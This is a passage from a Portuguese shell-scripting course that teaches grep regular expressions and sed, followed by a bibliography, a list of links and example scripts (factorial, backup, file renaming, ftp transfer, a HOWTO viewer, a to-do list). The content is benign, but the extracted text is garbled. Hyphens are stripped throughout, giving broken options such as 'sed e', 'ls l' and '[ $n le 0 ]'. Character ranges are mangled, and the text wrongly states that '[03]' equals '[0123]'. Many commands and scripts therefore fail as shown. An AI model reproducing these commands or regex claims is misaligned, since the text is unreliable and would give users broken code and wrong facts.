significado especial a um caracter que não tenha um significado especial." Parece complicado, mas veja nos exemplo que é um tanto quanto simples: Para procurar uma linha contento o texto "hello.gif", o comando correto seria: grep 'hello\.gif' file Desde que "grep 'hello.gif' file" iria resultar linhas contendo: hello gif , hello1gif , Adbeel Goes Filho
ShellScripts 103
helloagif , etc. Ou seja, a barra invertida remove o significado especial do ".", passando esse a significar um simples ponto ao invés de um coringa. Agora vamos passar para expressões agrupadas, a fim de encontrar um jeito de criar uma expressão que case com Frederic ou Fred. Primeiro vamos começar com o operador "?": "Uma expressão consistindo de caracter seguido por uma interrogação escapada ( \? ) casa com zero ou uma instância daquele caracter". Exemplo: "bugg\?y" casa com o seguinte: bugy , buggy mas não com bugggy virtvs@mucuripe:~$ echo bugy | grep "bugg\?y" bugy virtvs@mucuripe:~$ echo bugggy | grep "bugg\?y" virtvs@mucuripe:~$ Agora vamos para expressões agrupadas. No nosso exemplo, queremos tornar opcional a string "eric" após "Fred", ou seja, não apenas um caracter mas sim um conjunto de caracteres (string). "Uma expressão dentro de parênteses escapados é tratada como um único caracter" Exemplos: "Fred\(eric\)\?" Smith casa com "Fred Smith" or "Frederic Smith" \(abc\)* casa com abc , abcabcabc, etc (isto é, qualquer número de repetições da string "abc", incluindo zero). Note que temos que tomar cuidado quando nossas expressões contém espaços em branco. Quando eles aparecem, precisamos colocar a expressão entre aspas, para que o shell não interprete mal nosso comando. Para o exemplo acima: grep "Fred\(eric\)\? Smith" file Eu aconselho fortemente a sempre usar aspas, mesmo que não usemos espaços em brancos. Já tive muita dor de cabeça porque expressões e comandos não funcionavam simplesmente por não estarem entre aspas. Um dos exemplo acima (o do bugg\?y) não funciona no meu sistema se não estiver entre aspas. Veja: virtvs@mucuripe:~$ echo bugy | grep "bugg\?y" bugy virtvs@mucuripe:~$ echo bugy | grep bugg\?y virtvs@mucuripe:~$ Outros operadores úteis Para casar algum caracter de uma lista, use [ ] Veja: "[Hh]ello" casa com linhas contendo "hello" ou "Hello" Faixas de caracteres também são permitidos: Adbeel Goes Filho
ShellScripts 104
[03] é o mesmo que [0123] [ak] é o mesmo que [abcdefghijk] [AC] é o mesmo que [ABC] [ACak] é o mesmo que [ABCabcdefghijk] Existem também algumas formas alternativas: [[:alpha:]] é o mesmo que [azAZ] [[:upper:]] é o mesmo que [AZ] [[:lower:]] é o mesmo que [az] [[:digit:]] é o mesmo que [09] [[:alnum:]] é o mesmo que [09azAZ] [[:space:]] casa com qualquer quantidade de espaços, inclusive tabulações Essas formas alternativas, como [[:digit:]] é preferível ao método direto, [09]. Os [ ] podem ser usado para indicar caracteres que NÃO devem estar na expressão. É só colocar o sinal ^ na primeira posição da lista. Veja: virtvs@mucuripe:~$ echo hello | grep "[Hh]ello" hello virtvs@mucuripe:~$ echo hello | grep "[^Hh]ello" virtvs@mucuripe Outro exemplo, um pouco mais complicado: grep "([^()]*)a" file retorna qualquer linha contendo um par de parentes seguido por "a" e que NÃO contenham outros parênteses dentro. Assim, ele casa com essas linhas: (hello)a (aksjdhaksj d ka)a Mas não com: x=(y+2(x+1))a Casando com um número especifico de repetições Suponha que você queira casar um número específico de repetições de uma expressão. Um bom exemplo são números de telefones. Você pode procurar por um número de telefone com sete dígitos, assim: grep "[:digit:]\{3\}[ ]\?[:digit:]\{4\}" file Ou seja, três dígitos, opcionalmente um espaço ou um hífen e mais 4 dígitos. Procurando por começo e fim de linha: Isso é muito interessante. Digamos que você queira procurar por linhas que contendo espaços em brancos no começo da linha, a palavra hello e então o fim da linha. Vamos começar com este exemplo: >cat file hello hello world hhello Adbeel Goes Filho
ShellScripts 105
>grep hello file hello hello world hhello Isso não é o que nós queremos. O que está errado ? O problema é que o grep procura por linhas contendo a string hello e todas as linhas especificadas contem ela. Para contornar isso, introduzimos os caracteres de começo e fim de linha: "O caracter ^ significa começo de linha e o $ significa fim da linha" Retornando ao nosso exemplo: grep "^[[:space:]]*hello[[:space:]]*$" file Ou seja, o começo da linha, qualquer quantidade de espaço em branco (inclusive zero), a palavra hello, qualquer quantidade de espaço em branco e o fim da linha. Essa expressão faz o que a gente quer, retornando somente a linha que contém a palavra hello. Outro exemplo: grep "^From.*Alex" /var/spool/mail/neo Procura no meu inbox por mensagens de uma pessoa em particular (no caso, Alex). Esse tipo de expressão regular é extremamente útil e filtros de email, como o procmail, utilizam isso para fazerem tudo. Isso ou Aquilo: Procurando uma coisa OU outra: "A expressão consistindo de duas expressões separadas pelo operador OU \| casa linhas contendo uma das duas expressões" Note que você DEVE colocar a expressão dentro de aspas simples ou duplas: grep "cat\|dog" file casa com linhas contendo a palavra "cat" ou a palavra "dog" grep "I am a \(cat\|dog\)" casa com linhas contendo a string "I am a cat" ou a string "I am a dog". Usando backreference (referência anterior) Digamos que você queira procurar strings que contenham uma substring em mais de um lugar. Um exemplo é as tags de cabeçalhos de HTML. Suponha que eu queira procurar por "alguma string
". Isto é fácil de se fazer. Mas suponha que eu queira fazer o mesmo, mas permita H2 H3 H4 H5 e H6 no lugar de H1. A expressão .* não é boa, desde que casa com "alguma string" e nos queremos que a tag de abertura seja igual a de fechamento. Para fazermos isso, usamos backreference: "A expressão \n onde n é um número, casa com o conteúdo do nésimo conjunto de parênteses na Adbeel Goes Filho
ShellScripts 106
expressão". Nossa... isso realmente precisa de um exemplo!!!! .* faz o que nos queríamos fazer acima... "O Senhor \(dog\|cat\) e a senhora \1 foram visitar o Senhor \(dog\|cat\) e a senhora \2" Esse é outro exemplo bobo. Os casais tem sempre que serem iguais. Ou um casal de cachorro ou de gato. Alguns detalhes cruciais: caracteres especiais e aspas Caracteres Especiais: Aqui nós descrevemos os caracteres especiais para RegExp (expressões regulares) no grep. Note que no "egrep", que usa expressões regulares estendidas (atualmente não tem nenhuma funcionalidade a mais que as expressões regulares normais do GNU grep), a lista de caracteres especiais são os mesmos, diferindo somente que alguns não precisar estar "escapados". Os seguintes caracteres são considerados especiais, e precisam estar escapados: ? \ . [ ] ^ $ Note que o sinal de $ perde seu sentido se tiver caracteres depois dele, do mesmo jeito que o sinal ^ perde seu sentido se tiver caracteres antes dele. Os colchetes [ ] comportamse um pouco diferente. A baixo segue as regras para eles: ? O colchete direito ( ] ) perde seu sentido especial se colocado no começo de uma lista, por exemplo: "[]12]" casa com ] , 1, or 2. ? Um hífen perde seu significado especial se colocado por último. Assim, [15] casa com 1, 5 ou ? O caracter ^ perde seu sentido se não for colocado em primeiro lugar. ? A maioria dos caracteres especiais perdem seu significado especial se forem colocados dentro de colchetes. Aspas: Em primeiro lugar, aspas simples são mais seguras de usar porque elas protegem suas expressões regulares de serem alteradas pelo bash (como foi visto nas aulas anteriores). Por exemplo, grep "!" file vai produzir um erro, já que o shell pensa que "!" está se referindo ao comando de histórico do shell, enquanto grep '!' file funciona perfeitamente. Quando você deve usar aspas simples ? A resposta é: se você precisa usar variáveis do shell, use aspas duplas. Caso contrário, use aspas simples. Por exemplo: grep "$HOME" file Procura em file pelo nome do seu diretório pessoal, enquanto grep '$HOME' file procura pela string $HOME. Sintaxe das expressões regulares estendidas Agora vamos ver a sintaxe do egrep em contraste com a sintaxe do grep. Ironicamente, apesar do nome "estendido", o egrep atualmente tem menos funcionalidade do que quando foi criado, para manter a compatibilidade com o tradicional grep. A melhor maneira de fazer um grep estendido é utilizar grep E que usa a sintaxe de expressões regulares estendidas sem perda de funcionalidade. Bom, espero que vocês tenham tido uma boa idéia de como funcionam as expressões regulares. Elas são extremamente importante, principalmente para utilizar o grep e o Adbeel Goes Filho
ShellScripts 107
poderosíssimo sed, do qual trataremos na próxima aula. Não se preocupem se estiverem confuso com as expressões, quando começarem a utilizálas, as idéias vão clareando.
Adbeel Goes Filho
ShellScripts 108
6. sed Falaremos agora sobre o sed. Vale lembrar que daremos uma breve introdução ao sed, ajudando os iniciantes a entender como ele funciona. Portanto muitos comandos mais complexos serão omitidos, já que seria necessário um livro inteiro para ensinar tudo sobre o Sed. Mas não se preocupem, ensinaremos o suficiente sobre ele para utilização em shell script. Resumo de RegExp Vamos a um resumo sobre as expressões regulares, explicadas na aula anterior e agora aplicadas ao sed: ^ casa com o começo de linha $ casa com o fim de linha . casa com qualquer caracter simples (apenas um) (caracter)* casa com qualquer ocorrência, em qualquer quantidade, de (caracter) (caracter)? casa com zero ou uma ocorrência de (caracter) [abcdef] casa com qualquer caracter dentro dos [ ] (neste caso, a b c d e ou f), faixas de caracteres como [az] são permitidas. [^abcdef] casa com qualquer caracter NÃO incluído em [] (neste caso, qualquer caracter que não seja a b c d e ou f) (caracter)\{m,n\} casa com mn repetições de (caracter) (caracter)\{m,\} casa com m ou mais repetições de (caracter) (caracter)\{,n\} casa com n ou menos (também zero) repetições de (caracter) (caracter)\{n\} casa com exatamente n repetições de (caracter) \(expressão\) operador de grupo. \n Backreference casa com o nésimo grupo expressão1\|expressão2 casa com expressão1 ou expressão2. Funciona com o GNU sed, mas essa característica pode não funcionar com outros Seds. Caracteres Especiais Os caracteres especiais no sed são os mesmo do grep, com uma diferença: a barra normal / é um caracter especial no sed. A razão disso ficará clara mais para frente quando estudarmos os comandos do sed. Como funciona: Uma breve introdução O sed funciona assim: ele lê da entrada padrão, uma linha de cada vez. Para cada linha, ele executa uma série de comandos de edição e então a linha é escrita na saída padrão. Um exemplo que mostra como ele funciona: Nós usamos o comando "s", que significa "substitute" (substituir) ou "search and replace" (procurar e trocar). O formato é: s/expressãoregular/textosubstituto/{flags} Adbeel Goes Filho
ShellScripts 109
Nós não vamos discutir todas as flags ainda. A única que usamos abaixo é a "g", que significa "substitua todas as ocorrências": >cat file Eu tenho três cachorros e dois gatos >sed e 's/cachorros/gatos/g' e 's/gatos/elefantes/g' file Eu tenho três elefantes e dois elefantes OK, então o que aconteceu? Primeiro o sed leu a linha do arquivo "file" e executou: s/cachorros/gatos/g que produziu o seguinte texto: Eu tenho três gatos e dois gatos e então o segundo comando foi executado na linha já editada e resultou: Eu tenho três elefantes e dois elefantes Nós atualmente damos um nome para o texto (geralmente uma linha) que o sed leu e está processando (editando): ele chamase "pattern space" (uma boa tradução seria "área de edição"). O sed lê da entrada padrão e joga na sua área de edição, executando nela uma seqüência de comandos de edição e então ele escreve o resultado na saída padrão. Comandos de Substituição e Deleção Primeiro, as maneiras mais usuais do sed é a seguinte: >sed e 'comando1' e 'comando2' e 'comando3' arquivo >{comando shell} | sed e 'comando1' e 'comando2' >sed f sedscript.sed arquivo >{comando shell} | sed f sedscript.sed Então, o sed pode ler do arquivo ou da entrada padrão, e os comandos podem ser especificados em um arquivo de script ou na linha de comando. Esse arquivo, chamado sedscript.sed é um arquivo que contém todos os comandos do sed, ao invés de serem especificados na linha de comando. Esses sed's scripts são úteis quando precisamos de um processamento de texto mais complexo e refinado. Note o seguinte: se os comandos são lidos de um arquivo (sed script), espaços em branco podem ser fatais. Eles podem fazer o script falhar sem explicação aparente. Eu recomendo editar os arquivos de comandos do sed com um editor como o VIM que pode mostrar o final da linha e você pode ver se existem espaços em branco entre os comandos e o fim da linha. Comando de Substituição O formato para o comando de substituição é o seguinte: Adbeel Goes Filho
ShellScripts 110
[endereço1[,endereço2]]s/procura/substituto/[f lags] As flags podem ser as seguinte: n troca a nésima ocorrência (na linha) do texto "procura" por "substituto" g troca todas as ocorrências (na linha) do texto "procura" por "substituto" p imprime a "área de edição" para a saída padrão se ocorrer uma substituição com sucesso w arquivo imprime a "área de edição" para arquivo se ocorrer uma substituição com sucesso Se nenhuma flag for especificada, somente a primeira ocorrências na linha é substituída. Note que nós quase sempre usamos o comando "s" ou com a flag "g" ou sem nenhuma flag. Se um endereço é dado, então a substituição é aplicada a linhas que contenham aquele endereço. Um endereço pode ser ou uma expressão regular dentro de barras normais /regexp/ , ou um número de linha. O símbolo $ pode ser usado no lugar do número da linha para denotar a última linha. Se dois endereços são fornecidos, separados por uma vírgula, então a substituição é aplicada a todas as linhas entre duas linhas que casam com os endereços fornecidos. Isto requer algum esclarecimento. Mais precisamente, a substituição ocorre em todas as linhas desde a primeira ocorrência de "endereço1" até a primeira ocorrência de "endereço2". Não se preocupe se isso tudo parece meio confuso. Os exemplos vão esclarecer melhor. O comando de Deleção A sintaxe desse comando é muito simples. Ai vai: [endereço1[,endereço2]]d Isto deleta o conteúdo da "área de edição" (se esta casar com os endereços fornecidos). Todos os comandos seguintes serão pulados (já que não a nada a fazer com uma área de edição em branco) e uma nova linha será lida e jogada na área de edição e todo o processo se repete. Exemplos: Exemplo 1: >cat file O gato preto foi caçado por um cachorro marrom. >sed e 's/preto/branco/g' file O gato branco foi caçado por um cachorromarrom. Exemplo 2: >cat file O gato preto foi caçado por um cachorro marrom. Adbeel Goes Filho
ShellScripts 111
O gato preto não foi caçado por um cachorro marrom. >sed e '/não/s/preto/branco/g' file O gato preto foi caçado por um cachorro marrom. O gato branco não caçado por um cachorro marrom. Neste caso, a substituição é aplicada somente a linhas que casam com a expressão regular "/não/". Portanto, ela não é aplicada a primeira linha, pois esta não contem a palavra "não". Exemplo 3: >cat file linha 1 (um) linha 2 (dois) linha 3 (três) Exemplo 3a: >sed e '1,2d' file linha 3 (três) Exemplo 3b: >sed e '3d' file linha 1 (um) linha 2 (dois) Exemplo 3c: >sed e '1,2s/linha/LINHA/' file LINHA 1 (um) LINHA 2 (dois) linha 3 (três) Exemplo 3d: >sed e '/^linha.*um/s/linha/LINHA/' e '/linha/d' file LINHA 1 (um) 3a : Este foi bem simples: Nós apenas deletamos as linhas de 1 até 2 3b : Isto também foi simples: Nós deletamos a linha 3. 3c : Neste exemplo, nós fizemos uma substituição nas linhas 1 até 2. 3d : Agora este é mais interessante e merece algumas explicações. O primeiro comando vai procurar "^linha.*um" e substituir "linha" por "LINHA", ou seja, somente a primeira linha casa com essa expressão regular. O segundo comando diz para o sed deletar linhas que contenham a palavra "linha". Assim, somente as duas últimas linhas serão Adbeel Goes Filho
ShellScripts 112
deletadas, já que a primeira teve palavra "linha" substituída por "LINHA". Exemplo 4: >cat file olá Este texto será cortado olá (também será retirado) ReTiRaDo Também!!! tchau (1) Este texto não foi apagado (2) nem este ... ( tchau ) (3) nem este olá mas este será e este também e a menos que nós encontremos outro tch*u cada linha até o final do texto será apagada >sed e '/olá/,/tchau/d' file (1) Este texto não foi apagado (2) nem este ... ( tchau ) (3) nem este Isto mostra como o endereçamento funciona quando dois endereços são especificados. O sed encontra o primeiro casamento da expressão "olá" e deleta todas as linhas lidas na área de edição até ele encontrar a primeira linha que contém a expressão "tchau" (está também será apagada). Ele não aplica mais o comando de deleção para nenhuma linha até encontrar novamente a expressão "olá". Desde que a expressão "tchau" não ocorre mais em nenhuma linha subseqüente, o comando de deleção é aplicado até o final do texto. Resumindo, é simples: Quando ele encontra o primeiro endereço ("olá") ele passa a executar os comandos até encontrar o segundo endereço ("tchau") ou o fim do texto. E isso se repete até acabar o texto. Exemplo 5: >cat file http://www.kernel.org/ >sed e 's@http://www.kernel.org@http://www.metalab.un c.edu@' file http://www.metalab.unc.edu/ Note que nós usamos um delimitador diferente, @ para o comando de substituição. O sed permite diversos delimitadores para o comando de substituição, incluindo @ % , ; : Esses delimitadores alternativos são bons para substituições que incluem string como nome de arquivos e outras que contém barra normal /, o que torna o código do sed muito mais legível. Adbeel Goes Filho
ShellScripts 113
Mais alguns comandos Aqui veremos mais alguns comandos sobre o sed, a maioria deles mais complexos. Dependendo da aplicação em que vocês forem usar o sed, dificilmente usarão esses recursos, a menos que precisem de um processamento de texto mais refinado e complexo. Veja que eles são muito usado nos scripts do sed (não confunda com shellscript). Backreference no Sed Uma das coisas legais sobre backreference no sed é que você pode usar não apenas em procura de textos mas também na substituição de textos. O comando Quit O comando quit ou "q" é muito simples. Ele simplesmente termina o processamento. Nenhuma outra linha é lida para a área de edição ou impressa na saída padrão. Subrotinas Nós agora introduzimos o conceito de subrotinas no sed: No sed, as chaves { } são usadas para agrupar comandos. Elas são usadas dessa
maneira: endereço1[,endereço2]{comandos}
Exemplo: Encontrar uma palavra de uma lista num arquivo Este exemplo faz um bom uso dos conceitos descritos acima. Para isto, nos usamos um shellscript, desde que os comandos são muito longos e precisaríamos escrever a longa string X várias vezes. Note que usamos aspas duplas, já que a variável $X precisa ser expandida pelo shell. A sintaxe para rodar esse script é: "script arquivo",onde "script" é o nome dado ao script e "arquivo" é o nome do arquivo a procurar uma palavra da lista. #!/bin/sh X='word1\|word2\|word3|\word4|\word5' sed e " /$X/!d /$X/{ s/\($X\).*/\1/ s/.*\($X\)/\1/ q }" $1 Uma nota importante: é tentador pensar que: s/\($X\).*/\1/ s/.*\($X\)/\1/ é redundante e tentar encurtála para: Adbeel Goes Filho
ShellScripts 114
s/.*\($X\).*/\1/ Mas isto não funciona. Por que? Suponha que temos a linha: word1 word2 word3 Nós não temos como saber se $X vai casar com word1, word2 ou word3, então quando nós citamos ele (\1), nós não sabemos quais dos termos está sendo citado. O que está sendo usado para certificarse que não há problemas na correta implementação, é isto: "O operador * é guloso. Ou seja, quando há ambigüidade sobre qual (expressão)* pode casar, ele tentar casar o máximo possível." Então neste exemplo, s/\($X\).*/\1/ , .* tenta engolir o máximo da linha possível, em particular, se a linha contém isso: "word1 word2 word3" Então nós podemos ter certeza que .* casa com " word2 word3" e portanto $X seria word1. Não se preocupem se não entenderam muito bem este tópico. Ele é complicado mesmo e pouco usado. O importante é entender como ele funciona, o uso de regexp e do comando de substituição e deleção. Para maiores informações sobre o sed, dê uma olhada na sua man page: "man sed" . Espero que vocês tenham gostado desse pequeno tutorial sobre sed. Linguagens Complementares
AWK Exemplo: exibir a terceira, quarta e nona colunas do saida de um comando ls l /home/satis | awk ' {print $3, $r, $9}'
PHP
Adbeel Goes Filho
ShellScripts 115
Capitulo 6. Bibliografia
ADBEEL
Goes, Adbeel. Programação ShellScript. VIRTVS Engenharia e Informática Ltda. Fortaleza, Outubro de 2001.
ALEX
Borro, Alex. Tutorial de Shell Script
RRM2000
Raimundo, Rodivaldo Marcelo. Curso Básico de Programação em Posix ShellScript. Book Express. Rio de Janeiro, 2000.
JULIO
Neves, Júlio Cezar. Programação Shell Linux, 3ª Edição, Editora Brasport, ISBN 8574521183
SAADE
Saade, Joel. BASH Guia de Consulta Rápida, Editora Novatec, ISBN 85 75220063
Adbeel Goes Filho
ShellScripts 116
Capitulo 7. Apêndice A – Endereços Internet 1
Guia focalinux
http://www.focalinux.org
2
AdvBashScrHOWTO
http://www.linuxdoc.org
3
Programação de Shell Scripts
http://unsekurity.virtualave.net/txts/shscript.txt
4
UNIX Bourne Shell Programmin http://www.torget.se/users/d/Devlin/ shell
5
Bash FAQ
ftp://ftp.cwru.edu/pub/bash/FAQ
6
Bash Reference Manual
http://www.gnu.org/manual/bash2.02/bashref.html
7
BourneAgain SHell Home Page
http://cnswww.cns.cwru.edu/~chet/bash/bashtop.html
8
Underlinux
http://sh.underlinux.com.br
9
Expressões Regulare
http://guiaer.sourceforge.net
10
sedHOWTO
http://verde666/sed
11
Programação em Shell Script
http://www.jonathas.com.br/manual shell .txt
12
UNIX Power Tools
http://docs.online.bg/OS/unix_power_tools/index.htm
13
Linux: Programação Shell
http://www.brasport.com.br
14
Verdade Absoluta
http://www.absoluta.org
15
Wargames
www.pulltheplug.com www.hackerslab.org
16
Lista de discussão nacional sobre http://br.groups.yahoo.com/group/shellscript Shell Script
17
Dicas
http://www.semlimites.com.br/informatica/informatica_ software_sistemasoperacionais_unix_linux.shtm
18
IBMAIX
http://www.ibm.com
19
Unix – Perguntas e respostas
http://www.klingon.com.br/unix/unix.html
20
Introdução ao Unix
http://www.nicke.fenixnet.ccom.br/unix.html
21
Criando programas usando o htttp://www.icmsc.sc.usp.br/manuais/UNIX Shell
Adbeel Goes Filho
ShellScripts 117
Capitulo 8. Anexos
Adbeel Goes Filho
ShellScripts 118
1. Exemplos
7.
Matemática
Soma de n números naturais #!/bin/sh clear echo "Qual o número ?" read n soma=0 for w_i in $(seq 1 $n ) ; do soma=$( expr $soma + $w_i) done echo "A soma dos $n primeiros números naturais é $soma" exit 0 Fatorial #!/bin/sh clear read p "Qual o número para o cálculo do fatorial ?" n if [ $n le 0 ]; then echo "Não existe fatorial de número negativo" exit 1 fi; fatorial=1 for w_i in $( seq 1 $n ) ; do fatorial=$[ $fatorial * $w_i ] done echo "O fatorial de $n é $fatorial" exit 0
Adbeel Goes Filho
ShellScripts 119
8.
Acesso
Como ter apenas um login por usuário #!/bin/sh # vi /usr/bin/login_unico VAR=`who | cut c18 | tr d "\040" | grep n "^\'echo $LOGNAME\`$" |wc l` if [ $VAR gt 1 ] && [ $LOGNAME = "root" ] then echo MENSAGEM DE LOGIN INVALIDO sleep 10 exit fi # chmod 755 login_unico # vi /etc/profile ... Como repetir os últimos comandos no Unix Arquivo de controle : $HOME/.sh_history Total de cmds .........: 171 (em media) Ativacao .................: set o vi Shell responsável .....: ksh Inclua o comando de ativação no arquivo $HOME/.profile. Incluir no arquivo /etc/passwd: ... ... usuario:senha:nr_usuario:grupo:comentario:dir_trabalho:/bin/ksh Para mostrar e executar os últimos comandos tecle ESCape "k" Transferência de arquivos em redes TCP/IP (Script Shell) Crie no /usr/bin um arquivo chamado envia e outro recebe com os seguintes conteúdos: Arquivo envia: #!/bin/sh a=$1 shift ftp i $a > $HOME/ftp.log <<EOF bin mput $* quit EOF Arquivo recebe: #!/bin/sh a=$1 shift ftp i $a > $HOME/ftp.log <<EOF Adbeel Goes Filho
ShellScripts 120
bin mget $* quit EOF Troque as permissões dos arquivos para : # chmod 755 /usr/bin/envia /usr/bin/recebe # chown root /usr/bin/envia /usr/bin/recebe # chgrp root /usr/bin/envia /usr/bin/recebe Sintax : # envia machine arquivo ou # recebe machine arquivo 9.
Conversão de letras maiúsculas para minúsculas
#!/bin/bash # renomeia arquivos que tenham nome em maiusculas para o equivalente em minusculas [ $# lt 1 ] && { echo "*** Erro: você precisa passar os arquivos que quer renomear" echo "Uso: Mminusculas arquivo1 [arquivoN]" exit } # repare que o for a seguir nao tem o "in listadeargumentos"! for maiuscula do [ e "$maiuscula" ] || { echo "$maiuscula não existe, continuando com o próximo arquivo" continue } minuscula=$( echo $maiuscula | tr AZ az ) mv $maiuscula $minuscula done 10.
Backup
#!/bin/bash # OBS.: Por favor melhore este script! :) # Se o número de parâmetros for menor que 2... [ $# lt 2 ] && { echo "Uso: `basename $0` destino origem [origem2 origem3...]" exit 1 # ... sai do script } Adbeel Goes Filho
ShellScripts 121
echo "> Fazendo backup" FILE="${1}_$(/bin/date +%d%m%Y).tgz" shift # Aqui está o "segredo": o shift acima é executado para que eu possa usar "$*" no if abaixo. if tar czf $FILE $* ; then echo "Backup feito com sucesso" else echo "ERRO" 1>&2 exit 1 fi 11.
Visualizar HOWTO
#!/bin/bash # # ********************************************* # * Script para visualizar HOWTOs rapidamente * # ********************************************* # http://meleu.da.ru # meleu <[email protected]> # Inspirado em um outro script que vi no TipsHOWTO. # O script do TipsHOWTO era muito simples, fiz algumas # modificações que são interessantes para nós que falamos # português e de vez em quando temos uns HOWTOs traduzidos, # e ainda fiz um "suporte" aos miniHOWTOs. ;) # E mais: se você não lembra direito do nome do HOWTO, pode # passar apenas a(s) primeira(s) letra(s) e/ou usar os curingas # ('*', '?' e '[]'), mas aconselhase, neste último caso, o uso de # aspas ("quoting") para evitar que seja passado como parâmetro(s) # o conteúdo do diretório atual. Caso ele encontre mais de um # arquivo para a expressão você poderá escolher através da tela que # aparecerá. # Exemplos: # [prompt]$ howto Net # [prompt]$ howto "*[Bb]ash" # [prompt]$ howto "*Prog" # # Se você ainda não tem e não sabe onde pegar HOWTOs traduzidos # procure em http://ldpbr.conectiva.com.br # # Prérequisitos para o script funcionar direitinho (ou seja, sem # precisar de alterações): # + os HOWTOs devem estar em "/usr/doc/LinuxHOWTOs"; # + os HOWTOs em português devem estar em "/usr/doc/LinuxHOWTOs.pt"; Adbeel Goes Filho
ShellScripts 122
# + os miniHOWTOs devem estar em "/usr/doc/LinuxminiHOWTOs"; # + todos os [mini]HOWTOs[.pt] devem estar gzipados, se os seus não # estão assim basta entrar no diretório dos HOWTOs e digitar # "gzip *". # # # Se você testou o script, ele funcionou direitinho e você gostou, # então digite "cp howto.sh /usr/local/bin/howto" para que todos do # seu sistema possam utilizálo. ;) # # Aproveite! # Estes são os diretórios onde são instalados os [mini]HOWTOs no # Slackware. Se a sua distribuição usa um diretório diferente # mude a(s) variável(is) a seguir. HTDIR=/usr/doc/LinuxHOWTOs miniHTDIR=/usr/doc/LinuxminiHOWTOs PTHTDIR=/usr/doc/LinuxHOWTOs.pt # este é onde eu coloco os traduzidos # Variáveis que indicam as cores (pra não precisar ficar # digitando os códigos ANSI toda hora) BLUE="\e[1;34m" RED="\e[1;31m" NCOLOR="\e[m" function Ler { zless $1 echo e "${RED}\nTchau!\n$NCOLOR" exit } # Função que mostra a lista dos HOWTOs e sai do script. function Lista { ls C $HTDIR | less echo e " ${BLUE}Uso:$NCOLOR `basename $0` [p | m] nomedoHOWTO Faça '`basename $0` h' para ver a descrição das opções." exit 1 } # se não for passado nenhum parâmetro ele mostra a lista [ z "$1" ] && Lista # # TESTA PARÂMETROS Adbeel Goes Filho
ShellScripts 123
# case $1 in # mensagem de ajuda # h) echo e " ${RED}[ Lista de opções ]$NCOLOR p \t HOWTOs em português m \t miniHOWTOs h \t imprime esta mensagem " exit # depois da mensagem de ajuda, sair ;; # HOWTOs em português # p) HTDIR=$PTHTDIR [ z "$2" ] && Lista shift # Lembra do 'shift'? Aqui ele faz com que o primeiro # parâmetro deixe de ser 'p' para ser o nomedoHOWTO ;; # miniHOWTOs # m) HTDIR=$miniHTDIR [ z "$2" ] && Lista shift # mesma função do shift no 'p' ;; esac # Ao fim deste case $1 tem necessariamente o nome ou a(s) # primeira(s) letra(s) do nome do HOWTO a ser procurado. cd $HTDIR FILE=`ls $1*.gz 2>/dev/null` [ `echo $FILE | wc w` gt 1 ] && { PS3="Entre com o número: " select opc in $FILE Sair ; do [ "$opc" = "Sair" ] && exit for HOWTO in $FILE ; do [ "$opc" = "$HOWTO" ] && Ler $HOWTO done done Adbeel Goes Filho
ShellScripts 124
} [ e "$FILE" ] && Ler $FILE # Isto só será executado se não for encontrado o HOWTO echo e "${RED}* * * HOWTO não encontrado * * *$NCOLOR" echo "Tente '`basename $0` [p | m]' para ver a lista" exit 1 12.
todo.sh
#!/bin/bash PROG=`basename $0` EDITOR=`which vi` FILE="$HOME/.ToDo" USAGE="Uso: $PROG [h|e]" case $1 in h) echo " $USAGE e edita a lista de \"Para Fazer\" (To Do) h imprime esta mensagem e sai Sem parâmetros $PROG irá mostrar a lista de \"ToDo\". " exit ;; e) $EDITOR $FILE exit ;; '') cat $FILE 2> /dev/null || { echo "Você precisa criar o arquivo $HOME/.ToDo !" echo "Entre \"$PROG e\" para editar seu ~/.ToDo" echo "Para ajuda tente \"$PROG h\"" exit 1 } ;; *) echo "Parâmetro \"$1\" desconhecido!" echo "$USAGE" echo "Entre com \"$PROG h\" para ajuda." exit ;;
Adbeel Goes Filho
ShellScripts 125
esac 13.
inseretxt.sh
#!/bin/bash # # Muitas vezes durante a escrita do texto # "Programação em BourneAgain Shell" eu precisava # inserir um código de um script numa determinada # posição do arquivo e esta posição ficava entre muito texto antes e depois # dessa linha. # Para fazer isso de uma maneira mais cômoda, eu escrevi este script. # Para informações sobre o uso tente o parâmetro 'h' ou # 'help'. # Se você passar como o parâmetro "linha" um número maior # que o de linhas total do "ArqOriginal" os "arquivosN" # serão inseridos no final do "ArqOriginal". # Ah! Lembrese de uma coisa: "linha" precisa ser um # inteiro positivo. E lembrese de mais uma coisa: 0 # não é um número positivo. ;) # meleu. # B="\e[1m" N="\e[m" USO="Uso: `basename $0` linha ArqOriginal arquivo1 [arquivoN ...]" AJUDA="Tente \"`basename $0` help\" para ajuda" [ "$1" = 'h' o "$1" = 'help' ] && { echo e " ${B}Insere o conteúdo de arquivo(s) dentro de um outro.$N $USO Onde: \"linha\" é a linha onde o texto será inserido \"ArqOriginal\" é o arquivo que receberá os textos \"arquivoN\" são os arquivos que serão inseridos em ArqOriginal " exit } [ $# lt 3 ] && { Adbeel Goes Filho
ShellScripts 126
echo e ${B}Erro: erro na passagem de parâmetros$N echo $USO echo $AJUDA exit 1 } Linha=$1 # verificando se $Linha é um número inteiro positivo [ `expr $Linha 1 2>/dev/null` ge 0 ] 2>/dev/null || { echo e ${B}Erro: O primeiro parâmetro precisa ser inteiro positivo$N echo $AJUDA exit 1 } ArqOriginal=$2 [ f $ArqOriginal ] || { echo e ${B}Erro: \"$ArqOriginal\" não existe ou não é um arquivo regular$N echo $AJUDA exit 2 } function ApagarSair { rm "$1" exit $2 } shift 2 Temp=/tmp/`basename $ArqOriginal`$$.tmp # > início do arquivo original: head $[$Linha1] $ArqOriginal > $Temp # > arquivos que serão inseridos: ContaAcerto=0 for Arq in "$@"; do [ f "$Arq" ] || { echo e ${B}OBS.: \"$Arq\" não existe ou não é um arquivo regular$N continue } cat $Arq >> $Temp (( ContaAcerto++ )) done [ $ContaAcerto eq 0 ] && { echo e ${B}Nenhum arquivo foi inserido em \"$ArqOriginal\"$N ApagarSair $Temp 3 Adbeel Goes Filho
ShellScripts 127
} echo # > pra terminar, final do arquivo original: sed n "$Linha,\$p" $ArqOriginal >> $Temp ArqFinal="$ArqOriginal.new" [ e $ArqFinal ] && { echo e ${B}Já existe um arquivo chamado \"$ArqFinal\".$N read n 1 p "Deseja sobregraválo? (s/N) " SN echo [ "$SN" != 'S' a "$SN" != 's' ] && { echo e "$B\nOperação cancelada!$N" ApagarSair $Temp 3 } } cat $Temp > $ArqFinal echo e " ${B}Operação concluída com sucesso.$N Confira em \"$ArqFinal\" " ApagarSair $Temp 14.
Mextract.sh
